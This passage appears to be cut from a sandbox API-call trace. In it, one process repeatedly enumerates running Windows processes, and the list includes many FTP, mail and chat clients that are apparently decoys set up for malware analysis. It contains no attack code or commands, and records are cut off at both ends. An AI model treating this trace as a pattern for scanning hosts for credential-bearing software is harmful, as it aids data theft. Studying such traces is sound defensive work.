lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0087.889] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0087.889] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0088.293] CloseHandle (hObject=0x31c) returned 1 [0088.294] Sleep (dwMilliseconds=0x1f4) [0089.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0089.073] Process32FirstW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.073] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.075] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.075] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.076] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.077] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.077] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.078] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.079] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.079] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.080] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.081] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.082] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.082] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.083] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.084] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.084] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.085] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.086] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.087] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.088] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.088] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.089] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.090] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.099] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.100] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.101] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.102] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0089.102] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.103] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.104] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.104] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0089.105] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0089.456] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0089.462] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0089.463] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0089.464] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0089.464] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.465] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0089.467] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0089.468] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0089.468] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0089.469] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0089.470] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0089.470] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0089.471] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0089.472] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0089.472] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0089.473] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0089.474] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0089.474] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0089.475] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0089.476] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0089.476] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0089.477] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0089.478] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0089.478] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0089.479] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0089.480] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0089.481] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0089.482] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0089.483] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0089.484] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0089.485] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0089.486] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0089.488] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0089.489] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0089.490] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0089.491] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0089.492] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0089.493] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0089.494] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0089.496] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0089.940] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0089.941] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0089.942] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0089.943] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0089.944] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0089.945] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, 